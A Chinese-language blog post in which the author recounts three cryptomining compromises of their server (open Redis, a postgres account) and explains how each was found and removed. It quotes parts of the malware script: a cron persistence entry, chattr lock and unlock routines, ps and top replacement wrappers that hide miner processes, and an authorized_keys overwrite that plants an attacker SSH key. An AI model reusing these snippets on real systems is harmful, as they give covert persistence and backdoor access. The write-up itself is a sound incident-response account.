記被挖礦經歷
第一次被黑
第一次是在做一個簡單項目開發過程中,為了方便將Redis放開了IP限制可以隨意連接且沒有設置密碼,因為服務器上還有一個自己做的空閑教室查詢的后台,有一天在尋找自習室時發現無法訪問查詢服務,隨即連接服務器查看情況,輸入top命令,發現有一個名為phpupgrade
的進程占用了所有的CPU,使用kill -9命令殺死該進程后過了幾十秒此進程重新啟動,使用crontab -l
指令查看定時任務發現定時任務為空,說明后台還有一個喚醒程序,但是由於這個喚醒程序占用很低所以也就並沒有出現在top命令中,於是在再次殺死這個挖礦進程后,使用top命令發現出現一個phpguard
的程序,判定正是此程序不斷重啟挖礦進程,於是先殺死這個守衛進程再殺死挖礦進程,設置RedisIP限制,此次問題得以修復,但是由於此次被黑解決的很簡單,也沒有意識進行記錄,但是沒想到這還只是個開始。
第二次被黑
有一天突發奇想要學習一下postgresql,於是在服務器上安裝了postgresql,由於postgresql安裝的特殊性,這個數據庫需要創建一個名為postgres
的新用戶,這就為第二次被黑埋下了伏筆(盡管已經使用了數字字母組合密碼),某日遠程連接服務器時覺得異常卡頓,使用top命令發現一個高CPU占用率的進程,有了第一次的經驗,首先查看定時任務依然沒有發現,使用ps命令查看進程信息也沒有找到這個進程,同樣殺死一次隔一段時間還會重啟,這時注意到此進程的發起者正是postgres
,查看此賬號的進程,果然發現了挖礦程序,切換到此賬號后再次查看定時任務列表發現了定時重啟任務,這樣問題就得以解決:清空定時任務、殺死挖礦進程,但是postgresql還要繼續使用,無奈,只能切換回root用戶,調用passwd -l postgres
鎖定這個賬號,這樣此賬號無法遠程登錄但是數據庫還是可以正常使用
第三次被黑
這次還是redis,為了測試主從復制,為了方便的查看主庫、從庫中存儲的內容,打算使用RedisDesktopManager進行可視化查看,最初認為只開放幾分鍾應該問題不大(我是真沒想到無孔不入,艹)放開了redis IP限制,啟動Redis后不到20秒,我在使用上述軟件連接Redis服務器后發現里面居然有四個key(當時我就裂開了),打開一個一看,value中赫然寫着一條定時任務,就是下面這條
*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1
調用top和ps命令都無法看到高占用進程但是free命令確確實實告訴我內存不夠用了,且定時任務列表crontab也不能編輯上面的腳本也無法刪除,提示權限不足,無奈只好查看這個定時任務中的腳本內容
整個腳本共1018行,先從解決問題的方面說起,Linux命令:chattr
chattr命令用於修改Linux中文件的屬性,語法如下
chattr [ -RVf ] [ -v version ] [ mode ] files...
一個通用格式是:+-=[aAcCdDeijsStTu]
‘+’選項,將給文件添加屬性;‘-’選項,移除文件中的屬性;‘=’選項,使得文件只有這些屬性。
字母 'aAcCdDeijsStTu' 可以賦予文件的新屬性:
- a:只能附加數據
- A:不修改訪問時間
- c:壓縮文件
- C:不執行寫入時復制,多個調用者獲取同一個資源,這時另一個調用者對這個資源進行了修改,不生成一個副本
- d:不 dump
- D: 同步更新目錄
- e:extent格式(一種文件系統格式)
- i:不能修改。不能刪除或重命名,不能創建到該文件的鏈接,也不能向該文件寫入數據。只有超級用戶或擁有 CAP_LINUX_IMMUTABLE 能力的進程才能設置或清除此屬性。
- j:數據日志
- s:安全刪除
- S:同步更新
- t:不知道文件尾部合並
- T:目錄層次的頂部
- u:文件被刪除時,其內容會被保存,后面可以請求恢復
下面的只讀屬性,可以使用 lsattr列出,但不能被 chattr 修改:
- E:壓縮錯誤
- h:巨大的文件
- I:索引目錄
- N:內聯數據
- X:壓縮原始訪問
- Z:壓縮文件是臟的
這里的主角主要是aiu三個參數,普通文件一般只有一個e表示,可以通過lsattr *
查看當前目錄下所有文件標識或lsattr file
查看指定文件的標識
如何讓一個文件只讀?
chattr +i test.txt
上述指令為test.txt賦予了i標記,需要使用root賬戶或sudo
如何取消只讀?
chattr -i test.txt
如何對一個路徑下的所有文件作出限制?
chattr -R +i ./test-dir/
-R表示遞歸的改變目錄及其內容的屬性
上述指令會導致test-dir中所有文件都是只讀的
有了上述理論基礎后,使用lsattr *
命令查看/etc/目錄下所有文件的信息,發現數個帶有-i標記的文件且創建日期就在開啟Redis后,於是嘗試使用chattr修改文件限制但是提示chattr權限不足,仔細查看腳本,發現第1003行與1004行有以下內容:
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr
該腳本將chattr設置為只讀不可執行,這正是原因所在,由於定時任務仍然存在,只有三十秒的時間完成修改屬性、刪除腳本的操作,於是首先快速修改此腳本屬性並執行rm指令將其刪除(具體細節略有遺忘,但大體思路就這樣):
chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr
chattr -ai /etc/newinit.sh
rm -rf /etc/newinit.sh
執行上述命令后成功刪除腳本,至此算是打掉了挖礦程序的復活甲
接着同樣先解鎖定時任務刪除被篡改的內容,在腳本中發現如下內容:
unlock_cron()
{
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
}
lock_cron()
{
chattr -R +ia /var/spool/cron
chattr +ia /etc/crontab
chattr -R +ia /var/spool/cron/crontabs
chattr -R +ia /etc/cron.d
}
論規范編碼的重要性!把unlock中的語句執行一遍即可解鎖定時任務,然后就能清空定時任務
然后問題來了,為什么ps命令與top命令無法查看到挖礦進程信息呢?
在腳本中存在如下語句
mv /bin/ps /bin/ps.original
echo "#! /bin/bash">>/bin/ps
echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps
chmod +x /bin/ps
mv /bin/top /bin/top.original
echo "#! /bin/bash">>/bin/top
echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top
chmod +x /bin/top
該腳本通過修改ps、top程序名並將帶有過濾功能的腳本插入到新創建的ps、top文件且賦予可執行權限,劫持了ps命令和top命令,也就是說現在調用的是濾掉挖礦程序的ps和top命令,但是這也同時將兩個關鍵進程暴露在我們面前,於是調用top.original就能看到真實的進程信息,殺死指定進程即可,然后刪除etc目錄中的zzh
文件
此外這個腳本還改寫了authorized_keys設置免密登錄后門
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys
將這個文件內容清空即可,至此此次被黑基本解決,資源占用恢復正常
總結這個腳本的功能
- 利用Docker Api未授權命令執行創建容器,並進一步下載執行名為trace的門羅幣挖礦木馬。(腳本中有相關語句但是這個腳本將安裝docker這句給注釋了,而這個服務器沒有docker環境,所以沒啥用)
- 會嘗試卸載雲主機安全軟件,嘗試結束清除其它競品挖礦木馬。(是的,還帶卷的,專門有個函數kill_miner_proc())
- 對ps,top,pstree等系統工具進行重命名和替換,進而通過劫持工具運行參數的方式,實現隱蔽挖礦
- 改寫authorized_keys設置免密登錄后門
- 木馬會下載編譯pnscan,masscan掃描工具
着重檢查以下文件:
/etc/zzh
/tmp/zzh
/etc/strace
/tmp/strace
/tmp/hxx
/tmp/ps
排查ps,top,pstree等工具文件是否被替換。
排查清理以下可疑進程
zzh
strace
pnscan
masscan
hxx
建議:
Redis 服務端口不要暴露在公網,使用強口令。
配置SSH服務使用強口令。
附錄:
挖礦腳本全文:newinit.sh